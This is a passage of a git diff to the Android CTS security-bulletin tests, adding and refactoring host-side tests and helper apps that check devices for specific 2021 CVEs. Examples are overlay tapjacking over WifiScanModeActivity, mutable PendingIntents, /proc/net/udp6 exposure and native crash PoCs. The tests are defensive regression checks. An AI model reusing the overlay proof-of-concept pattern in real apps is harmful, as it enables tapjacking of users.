-            /* Grant "Draw over other apps" permission */
-            AdbUtils.runCommandLine(
-                    "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device);
-
-            /* Start the application */
-            AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
-            Thread.sleep(SLEEP_INTERVAL_MILLISEC);
-
-            /* Get screen width and height */
-            int[] displaySize = new int[2];
-            extractInt(AdbUtils.runCommandLine("wm size", device), displaySize);
-            int width = displaySize[0];
-            int height = displaySize[1];
-
-            /* Give a tap command for center of screen */
-            AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device);
-        } catch (Exception e) {
-            e.printStackTrace();
-        } finally {
-            /* Un-install the app after the test */
-            AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
-            /* Detection of crash pattern in the logs */
-            String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
-            Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE);
-            assertThat(crashPattern, pattern.matcher(logcat).find(), is(false));
-        }
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                getDevice());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
new file mode 100644
index 0000000..285f57a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0642 extends BaseHostJUnit4Test {
+    static final String TEST_APP = "CVE-2021-0642.apk";
+    static final String TEST_PKG = "android.security.cts.cve_2021_0642";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    @Before
+    public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        uninstallPackage(device, TEST_PKG);
+    }
+
+    /**
+     * b/185126149
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 185126149)
+    @Test
+    public void testPocCVE_2021_0642() throws Exception {
+        installPackage(TEST_APP);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java
deleted file mode 100644
index d8f3ddf..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import static org.junit.Assert.assertTrue;
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0922 extends SecurityTestCase {
-
-    /**
-     * b/195630721
-     */
-    @AsbSecurityTest(cveBugId = 195630721)
-    @Test
-    public void testPocCVE_2021_0922() throws Exception {
-        String packageName = "com.android.managedprovisioning";
-        String queryStr = "dumpsys package " + packageName;
-        String permissions = AdbUtils.runCommandLine(queryStr, getDevice());
-
-        // MANAGE_APP_OPS_MODES permission must be enforced for
-        // package com.android.managedprovisioning
-        assertTrue(permissions.contains("android.permission.MANAGE_APP_OPS_MODES"));
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
new file mode 100644
index 0000000..6d320f5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0953 extends BaseHostJUnit4Test {
+
+    @AsbSecurityTest(cveBugId = 184046278)
+    @Test
+    public void testPocCVE_2021_0953() throws Exception {
+        final String TEST_PKG = "android.security.cts.CVE_2021_0953";
+        final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+        final String TEST_APP = "CVE-2021-0953.apk";
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index a242904..4deab66 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -16,15 +16,17 @@
 
 package android.security.cts;
 
-import static org.junit.Assert.assertFalse;
+
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2021_0965 extends BaseHostJUnit4Test {
@@ -45,10 +47,6 @@
     @Test
     public void testPocCVE_2021_0965() throws Exception {
         installPackage(TEST_APP, new String[0]);
-        runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
-        String errorLog = "Vulnerable to b/194300867 !!";
-        String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
-        Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
-        assertFalse(pattern.matcher(logcat).find());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"));
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
new file mode 100644
index 0000000..6cac004
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39664 extends SecurityTestCase {
+
+    /**
+     * b/203938029
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libandroidfw (As per AOSP code)
+     * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 203938029)
+    @Test
+    public void testPocCVE_2021_39664() throws Exception {
+        String inputFiles[] = {"cve_2021_39664"};
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-39664";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
+                        "android::LoadedPackage::Load"));
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
similarity index 65%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 4df0f6f..8f12b52 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -17,20 +17,26 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0684 extends SecurityTestCase {
+public class CVE_2021_39675 extends SecurityTestCase {
 
     /**
-     * b/179839665
-     * Vulnerability Behaviour: SIGSEGV in Self
+     * b/205729183
+     * Vulnerability Behavior: EXIT_VULNERABLE (113)
      */
-    @AsbSecurityTest(cveBugId = 179839665)
+    @AsbSecurityTest(cveBugId = 205729183)
     @Test
-    public void testPocCVE_2021_0684() throws Exception {
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+    public void testPocCVE_2021_39675() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(),
+                 AdbUtils.TIMEOUT_SEC);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
new file mode 100644
index 0000000..363e522
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39700 extends BaseHostJUnit4Test {
+
+    /**
+     * b/201645790
+     * This test is related to
+     * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java"
+     */
+    @AsbSecurityTest(cveBugId = 201645790)
+    @Test
+    public void testPocCVE_2021_39700() throws Exception {
+        ITestDevice device = getDevice();
+        assumeTrue("Failed to unroot the device", device.disableAdbRoot());
+        String procUdp6File = "/proc/net/udp6";
+        File tempFile = File.createTempFile("CVE_2021_39700", "temp");
+        assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile));
+        tempFile.deleteOnExit();
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
new file mode 100644
index 0000000..d92af4d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39702 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-39702.apk";
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 205150380)
+    @Test
+    public void testPocCVE_2021_39702() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0353c3d..d7a3afc7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -19,6 +19,7 @@
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.testtype.IBuildReceiver;
@@ -49,7 +50,7 @@
 import static org.junit.Assume.*;
 import static org.hamcrest.core.Is.is;
 
-public class SecurityTestCase extends BaseHostJUnit4Test {
+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
 
     private static final String LOG_TAG = "SecurityTestCase";
     private static final int RADIX_HEX = 16;
@@ -58,7 +59,7 @@
     // account for the poc timer of 5 minutes (+15 seconds for safety)
     protected static final int TIMEOUT_NONDETERMINISTIC = 315;
 
-    private long kernelStartTime;
+    private long kernelStartTime = -1;
 
     private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
 
@@ -119,9 +120,13 @@
             getDevice().waitForDeviceAvailable(30 * 1000);
         }
 
-        long deviceTime = getDeviceUptime() + kernelStartTime;
-        long hostTime = System.currentTimeMillis() / 1000;
-        assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+        if (kernelStartTime != -1) {
+            // only fail when the kernel start time is valid
+            long deviceTime = getDeviceUptime() + kernelStartTime;
+            long hostTime = System.currentTimeMillis() / 1000;
+            assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+            kernelStartTime = -1;
+        }
 
         // TODO(badash@): add ability to catch runtime restart
     }
@@ -340,7 +345,7 @@
         String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
                                       "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
                                       "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
-                                      "/dev/st54j*" };
+                                      "/dev/st54j*", "/dev/st21nfc*" };
         boolean isDriverFound = false;
         for(String supportedDriver : supportedDrivers) {
             if(containsDriver(device, supportedDriver, false)) {
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
index b2dc9b8..e44a04a 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -41,6 +41,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
 
 /** Basic sample for unbundled UiAutomator. */
 @RunWith(AndroidJUnit4.class)
@@ -111,7 +112,7 @@
         mContext.startActivity(intent);
 
         UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
-        assertNotNull("Activity under-test was not launched or found!", view);
+        assumeNotNull("Activity under-test was not launched or found!", view);
         Log.d(LOG_TAG, "Started Activity under-test.");
     }
 
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
index a105e84..7ff1369 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
@@ -21,18 +21,17 @@
 
 android_test_helper_app {
     name: "CVE-2021-0523",
-    srcs: [
-        "src/android/security/cts/CVE_2021_0523/PocActivity.java",
-        "src/android/security/cts/CVE_2021_0523/PocService.java",
-    ],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
         "vts10",
         "sts",
-        "general-tests",
     ],
-    sdk_version: "system_current",
     static_libs: [
-        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
     ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 594e427..e21b9b7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -20,24 +20,30 @@
     android:versionName="1.0">
 
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
     <application
         android:allowBackup="true"
         android:label="CVE-2021-0523"
         android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
         <service
             android:name=".PocService"
             android:enabled="true"
             android:exported="false" />
 
-        <activity android:name=".PocActivity">
+        <activity android:name=".PocActivity"
+            android:exported="true"
+            android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
     </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0523" />
 </manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
new file mode 100644
index 0000000..dcdbe0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
new file mode 100644
index 0000000..e0fc337
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0523;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import java.io.IOException;
+import java.util.regex.Pattern;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+    private static final String TEST_PKG_WIFI = "com.android.settings";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+    String activityDump = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        if (Settings.canDrawOverlays(getApplicationContext())) {
+            Intent intent = new Intent(getApplicationContext(), PocService.class);
+            context.startService(intent);
+        } else {
+            try {
+                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                context.startActivity(intent);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager);
+        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+        assertNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        /* Start the launcher activity */
+        context.startActivity(intent);
+        /* Wait for the WifiScanModeActivity */
+        if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Start the overlay service */
+        startOverlayService();
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Pattern pattern = Pattern.compile(
+                getApplicationContext().getResources().getString(R.string.overlay_button),
+                Pattern.CASE_INSENSITIVE);
+        BySelector selector = By.text(pattern);
+        /* Wait for an object of the overlay window */
+        if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Check if the currently running activity is WifiScanModeActivity */
+        try {
+            activityDump = mDevice.executeShellCommand("dumpsys activity");
+        } catch (IOException e) {
+            throw new RuntimeException("Could not execute dumpsys activity command");
+        }
+        Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n");
+        if (!activityPattern.matcher(activityDump).find()) {
+            return;
+        }
+        String message = "Device is vulnerable to b/174047492 hence any app with "
+                + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
+        assertNull(message, mDevice.findObject(selector));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
index 0ba69f5..a28b337 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
@@ -18,60 +18,16 @@
 
 import android.app.Activity;
 import android.content.Intent;
-import android.content.Context;
 import android.net.wifi.WifiManager;
-import android.os.Build;
 import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.provider.Settings;
 
 public class PocActivity extends Activity {
-    private WakeLock mScreenLock;
-    private Context mContext;
-
-    private void startOverlayService() {
-        if (Settings.canDrawOverlays(this)) {
-            Intent intent = new Intent(PocActivity.this, PocService.class);
-            startService(intent);
-        } else {
-            try {
-                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
-                startActivityForResult(intent, 1);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void stopOverlayService() {
-        Intent intent = new Intent(PocActivity.this, PocService.class);
-        stopService(intent);
-    }
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        mContext = this.getApplicationContext();
-        PowerManager pm = mContext.getSystemService(PowerManager.class);
-        mScreenLock = pm.newWakeLock(
-                PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
-                "PocActivity");
-        mScreenLock.acquire();
-        try {
-            Thread.sleep(6000);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
-        startOverlayService();
         Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE);
-        startActivityForResult(intent, 2);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        mScreenLock.release();
+        startActivity(intent);
     }
 }
